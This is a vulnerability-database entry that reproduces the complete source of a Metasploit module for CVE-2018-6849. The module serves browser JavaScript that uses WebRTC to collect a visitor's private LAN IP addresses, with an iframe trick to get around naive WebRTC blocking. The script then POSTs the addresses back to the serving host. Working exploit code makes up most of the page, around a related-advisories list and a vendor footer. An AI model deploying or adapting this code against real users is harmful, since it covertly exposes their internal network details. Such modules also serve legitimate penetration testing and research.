Lucene search
+L

HTTP Client LAN IP Address Gather

🗓️ 05 Sep 2013 00:00:00Reported by Daniel Roesler, Dhiraj MishraType 
metasploit
 metasploit
🔗 www.rapid7.com👁 38 Views

HTTP Client LAN IP Address Gather This module retrieves a browser's network interface IP addresses using WebRTC

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
WebRTC - Private IP Leakage Exploit
5 Apr 201800:00
zdt
circl
Circl
CVE-2018-6849
29 May 201815:50
circl
cnvd
CNVD
DuckDuckGo Private IP Address Disclosure Vulnerability
2 Apr 201800:00
cnvd
cve
CVE
CVE-2018-6849
1 Apr 201818:00
cve
cvelist
Cvelist
CVE-2018-6849
1 Apr 201818:00
cvelist
exploitdb
Exploit DB
WebRTC - Private IP Leakage (Metasploit)
5 Apr 201800:00
exploitdb
exploitpack
exploitpack
WebRTC - Private IP Leakage (Metasploit)
5 Apr 201800:00
exploitpack
nvd
NVD
CVE-2018-6849
1 Apr 201818:29
nvd
packetstorm
Packet Storm
DuckDuckGo 4.2.0 WebRTC Private IP Leakage
3 Apr 201800:00
packetstorm
packetstorm
Packet Storm
HTTP Client LAN IP Address Gather
31 Aug 202400:00
packetstorm
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'HTTP Client LAN IP Address Gather',
        'Description' => %q{
          This module retrieves a browser's network interface IP addresses
          using WebRTC.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Daniel Roesler', # JS Code
          'Dhiraj Mishra'   # MSF Module
        ],
        'References' => [
          [ 'CVE', '2018-6849' ],
          [ 'URL', 'http://net.ipcalf.com/' ],
          [ 'URL', 'https://www.inputzero.io/p/private-ip-leakage-using-webrtc.html' ]
        ],
        'DisclosureDate' => '2013-09-05',
        'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],
        'PassiveActions' => [ 'WebServer' ],
        'DefaultAction' => 'WebServer',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def run
    exploit # start http server
  end

  def setup
    # code from: https://github.com/diafygi/webrtc-ips
    @html = <<~JS
      <script>
      //get the IP addresses associated with an account
      function getIPs(callback){
          var ip_dups = {};

          //compatibility for firefox and chrome
          var RTCPeerConnection = window.RTCPeerConnection
              || window.mozRTCPeerConnection
              || window.webkitRTCPeerConnection;
          var useWebKit = !!window.webkitRTCPeerConnection;

          //bypass naive webrtc blocking using an iframe
          if(!RTCPeerConnection){
              //NOTE: you need to have an iframe in the page right above the script tag
              //
              //<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe>
              //<script>...getIPs called in here...
              //
              var win = iframe.contentWindow;
              RTCPeerConnection = win.RTCPeerConnection
                  || win.mozRTCPeerConnection
                  || win.webkitRTCPeerConnection;
              useWebKit = !!win.webkitRTCPeerConnection;
          }

          //minimal requirements for data connection
          var mediaConstraints = {
              optional: [{RtpDataChannels: true}]
          };

          var servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};

          //construct a new RTCPeerConnection
          var pc = new RTCPeerConnection(servers, mediaConstraints);

          function handleCandidate(candidate){
              //match just the IP address
              var ip_regex = /([0-9]{1,3}(\\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/
              var ip_addr = ip_regex.exec(candidate)[1];

              //remove duplicates
              if(ip_dups[ip_addr] === undefined)
                  callback(ip_addr);

              ip_dups[ip_addr] = true;
          }

          //listen for candidate events
          pc.onicecandidate = function(ice){

              //skip non-candidate events
              if(ice.candidate)
                  handleCandidate(ice.candidate.candidate);
          };

          //create a bogus data channel
          pc.createDataChannel("");

          //create an offer sdp
          pc.createOffer(function(result){

              //trigger the stun server request
              pc.setLocalDescription(result, function(){}, function(){});

          }, function(){});

          //wait for a while to let everything done
          setTimeout(function(){
              //read candidate info from local description
              var lines = pc.localDescription.sdp.split('\\n');

              lines.forEach(function(line){
                  if(line.indexOf('a=candidate:') === 0)
                      handleCandidate(line);
              });
          }, 1000);
      }

      getIPs(function(ip){
        //console.log(ip);
        var xmlhttp = new XMLHttpRequest;
        xmlhttp.open('POST', window.location, true);
        xmlhttp.send(ip);
      });
      </script>
    JS
  end

  def on_request_uri(cli, request)
    case request.method.downcase
    when 'get'
      print_status("#{cli.peerhost}: Sending response (#{@html.size} bytes)")
      send_response(cli, @html)
    when 'post'
      begin
        ip = request.body
        if ip =~ /\A([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})\z/
          print_good("#{cli.peerhost}: Found IP address: #{ip}")
        else
          print_error("#{cli.peerhost}: Received malformed IP address")
        end
      rescue
        print_error("#{cli.peerhost}: Received malformed reply")
      end
    else
      print_error("#{cli.peerhost}: Unhandled method: #{request.method}")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Sep 2013 00:00Current
4.9Medium risk
Vulners AI Score4.9
CVSS 34.3
CVSS 24.3
EPSS0.29198
38